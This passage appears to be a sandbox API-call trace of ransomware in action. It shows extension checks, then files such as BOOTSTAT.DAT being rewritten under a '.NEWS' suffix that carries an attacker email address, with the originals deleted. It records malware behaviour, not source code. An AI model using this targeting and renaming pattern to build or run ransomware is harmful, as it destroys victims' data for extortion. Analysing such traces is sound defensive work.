lstrlenW (lpString=".xlsx") returned 5 [0065.329] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.329] lstrlenW (lpString=".ppt") returned 4 [0065.329] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.329] lstrlenW (lpString=".zip") returned 4 [0065.329] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.329] lstrlenW (lpString=".rar") returned 4 [0065.329] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.329] lstrlenW (lpString=".bz2") returned 4 [0065.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.329] lstrlenW (lpString=".7z") returned 3 [0065.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.329] lstrlenW (lpString=".dbf") returned 4 [0065.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.329] lstrlenW (lpString=".1cd") returned 4 [0065.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.330] lstrlenW (lpString=".jpg") returned 4 [0065.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.330] lstrlenW (lpString=".doc") returned 4 [0065.330] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString=".docx") returned 5 [0065.330] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.330] lstrlenW (lpString=".pdf") returned 4 [0065.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString=".xls") returned 4 [0065.330] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString=".xlsx") returned 5 [0065.330] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.330] lstrlenW (lpString=".ppt") returned 4 [0065.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.330] lstrlenW (lpString=".zip") returned 4 [0065.330] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.330] lstrlenW (lpString=".rar") returned 4 [0065.330] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString=".bz2") returned 4 [0065.330] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString=".7z") returned 3 [0065.330] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.330] lstrlenW (lpString=".dbf") returned 4 [0065.330] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.330] lstrlenW (lpString=".1cd") returned 4 [0065.330] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.330] lstrlenW (lpString=".jpg") returned 4 [0065.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.331] lstrcmpiW (lpString1=".bmp", lpString2=".NEWS") returned -1 [0065.331] lstrlenW (lpString="watermark.bmp") returned 13 [0065.331] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0065.331] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=104072) returned 1 [0065.331] CloseHandle (hObject=0x338) returned 1 [0065.331] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0065.331] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.331] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0065.331] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.331] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.331] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0065.332] GetLastError () returned 0x0 [0065.332] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x19688, lpOverlapped=0x0) returned 1 [0065.335] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x19690, lpOverlapped=0x0) returned 1 [0065.337] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.338] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xee, lpOverlapped=0x0) returned 1 [0065.338] SetEndOfFile (hFile=0x2c4) returned 1 [0065.338] CloseHandle (hObject=0x2c4) returned 1 [0065.340] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.340] SetEndOfFile (hFile=0x338) returned 1 [0065.342] CloseHandle (hObject=0x338) returned 1 [0065.342] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.342] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0065.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.343] lstrlenW (lpString=".doc") returned 4 [0065.343] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString=".docx") returned 5 [0065.343] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0065.343] lstrlenW (lpString=".pdf") returned 4 [0065.343] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString=".xls") returned 4 [0065.343] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString=".xlsx") returned 5 [0065.343] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0065.343] lstrlenW (lpString=".ppt") returned 4 [0065.343] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.343] lstrlenW (lpString=".zip") returned 4 [0065.343] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString=".rar") returned 4 [0065.343] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString=".bz2") returned 4 [0065.343] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString=".7z") returned 3 [0065.343] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0065.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.343] lstrlenW (lpString=".dbf") returned 4 [0065.343] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0065.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.343] lstrlenW (lpString=".1cd") returned 4 [0065.343] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0065.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.343] lstrlenW (lpString=".jpg") returned 4 [0065.343] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.344] lstrlenW (lpString=".doc") returned 4 [0065.344] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString=".docx") returned 5 [0065.344] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0065.344] lstrlenW (lpString=".pdf") returned 4 [0065.344] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString=".xls") returned 4 [0065.344] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString=".xlsx") returned 5 [0065.344] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0065.344] lstrlenW (lpString=".ppt") returned 4 [0065.344] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.344] lstrlenW (lpString=".zip") returned 4 [0065.344] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString=".rar") returned 4 [0065.344] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString=".bz2") returned 4 [0065.344] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString=".7z") returned 3 [0065.344] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0065.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.344] lstrlenW (lpString=".dbf") returned 4 [0065.344] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0065.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.344] lstrlenW (lpString=".1cd") returned 4 [0065.344] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0065.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0065.344] lstrlenW (lpString=".jpg") returned 4 [0065.344] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0065.345] lstrcmpiW (lpString1=".LOG", lpString2=".NEWS") returned -1 [0065.345] lstrlenW (lpString="BCD.LOG") returned 7 [0065.345] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.345] lstrlenW (lpString=".doc") returned 4 [0065.345] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0065.345] lstrlenW (lpString=".docx") returned 5 [0065.345] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0065.345] lstrlenW (lpString=".pdf") returned 4 [0065.345] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0065.345] lstrlenW (lpString=".xls") returned 4 [0065.345] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0065.345] lstrlenW (lpString=".xlsx") returned 5 [0065.345] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0065.345] lstrlenW (lpString=".ppt") returned 4 [0065.345] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0065.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.345] lstrlenW (lpString=".zip") returned 4 [0065.345] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0065.345] lstrlenW (lpString=".rar") returned 4 [0065.345] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0065.345] lstrlenW (lpString=".bz2") returned 4 [0065.345] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0065.345] lstrlenW (lpString=".7z") returned 3 [0065.345] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0065.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.346] lstrlenW (lpString=".dbf") returned 4 [0065.346] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0065.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.346] lstrlenW (lpString=".1cd") returned 4 [0065.346] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0065.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.346] lstrlenW (lpString=".jpg") returned 4 [0065.346] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0065.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.346] lstrlenW (lpString=".doc") returned 4 [0065.346] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0065.346] lstrlenW (lpString=".docx") returned 5 [0065.346] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0065.346] lstrlenW (lpString=".pdf") returned 4 [0065.346] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0065.346] lstrlenW (lpString=".xls") returned 4 [0065.346] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0065.346] lstrlenW (lpString=".xlsx") returned 5 [0065.346] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0065.346] lstrlenW (lpString=".ppt") returned 4 [0065.346] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0065.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.346] lstrlenW (lpString=".zip") returned 4 [0065.346] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0065.346] lstrlenW (lpString=".rar") returned 4 [0065.346] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0065.346] lstrlenW (lpString=".bz2") returned 4 [0065.346] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0065.346] lstrlenW (lpString=".7z") returned 3 [0065.347] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0065.347] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.347] lstrlenW (lpString=".dbf") returned 4 [0065.347] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0065.347] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.347] lstrlenW (lpString=".1cd") returned 4 [0065.347] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0065.347] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0065.347] lstrlenW (lpString=".jpg") returned 4 [0065.347] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0065.347] lstrcmpiW (lpString1=".DAT", lpString2=".NEWS") returned -1 [0065.347] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0065.347] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.762] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=65536) returned 1 [0065.762] CloseHandle (hObject=0x354) returned 1 [0065.762] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0065.762] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.762] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.763] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.763] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.763] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.764] GetLastError () returned 0x0 [0065.764] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x10000, lpOverlapped=0x0) returned 1 [0065.766] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x10010, lpOverlapped=0x0) returned 1 [0065.770] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.770] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.770] SetEndOfFile (hFile=0x35c) returned 1 [0065.770] CloseHandle (hObject=0x35c) returned 1 [0065.773] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.773] SetEndOfFile (hFile=0x354) returned 1 [0065.774] CloseHandle (hObject=0x354) returned 1 [0065.774] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0065.775] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0065.775] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.775] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.775] lstrlenW (lpString=".doc") returned 4 [0065.775] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0065.775] lstrlenW (lpString=".docx") returned 5 [0065.775] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0065.775] lstrlenW (lpString=".pdf") returned 4 [0065.775] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0065.775] lstrlenW (lpString=".xls") returned 4 [0065.775] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0065.775] lstrlenW (lpString=".xlsx") returned 5 [0065.775] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0065.775] lstrlenW (lpString=".ppt") returned 4 [0065.775] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0065.775] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.775] lstrlenW (lpString=".zip") returned 4 [0065.775] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0065.775] lstrlenW (lpString=".rar") returned 4 [0065.775] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0065.775] lstrlenW (lpString=".bz2") returned 4 [0065.775] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0065.775] lstrlenW (lpString=".7z") returned 3 [0065.775] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0065.775] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.776] lstrlenW (lpString=".dbf") returned 4 [0065.776] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.776] lstrlenW (lpString=".1cd") returned 4 [0065.776] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0065.776] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.776] lstrlenW (lpString=".jpg") returned 4 [0065.776] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.776] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.776] lstrlenW (lpString=".doc") returned 4 [0065.776] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString=".docx") returned 5 [0065.776] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0065.776] lstrlenW (lpString=".pdf") returned 4 [0065.776] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString=".xls") returned 4 [0065.776] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString=".xlsx") returned 5 [0065.776] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0065.776] lstrlenW (lpString=".ppt") returned 4 [0065.776] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.776] lstrlenW (lpString=".zip") returned 4 [0065.776] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString=".rar") returned 4 [0065.776] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0065.776] lstrlenW (lpString=".bz2") returned 4 [0065.776] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0065.776] lstrlenW (lpString=".7z") returned 3 [0065.777] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0065.777] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.777] lstrlenW (lpString=".dbf") returned 4 [0065.777] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0065.777] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.777] lstrlenW (lpString=".1cd") returned 4 [0065.777] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0065.777] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0065.777] lstrlenW (lpString=".jpg") returned 4 [0065.777] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0065.777] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.777] lstrlenW (lpString="Alphabet.xml") returned 12 [0065.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.778] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=791421) returned 1 [0065.778] CloseHandle (hObject=0x354) returned 1 [0065.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0065.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.779] lstrlenW (lpString=".doc") returned 4 [0065.779] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString=".docx") returned 5 [0065.779] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.779] lstrlenW (lpString=".pdf") returned 4 [0065.779] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString=".xls") returned 4 [0065.779] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString=".xlsx") returned 5 [0065.779] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.779] lstrlenW (lpString=".ppt") returned 4 [0065.779] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.779] lstrlenW (lpString=".zip") returned 4 [0065.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.779] lstrlenW (lpString=".rar") returned 4 [0065.779] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString=".bz2") returned 4 [0065.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString=".7z") returned 3 [0065.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.779] lstrlenW (lpString=".dbf") returned 4 [0065.779] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.779] lstrlenW (lpString=".1cd") returned 4 [0065.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0065.779] lstrlenW (lpString=".jpg") returned 4 [0065.779] lstrcmpiW 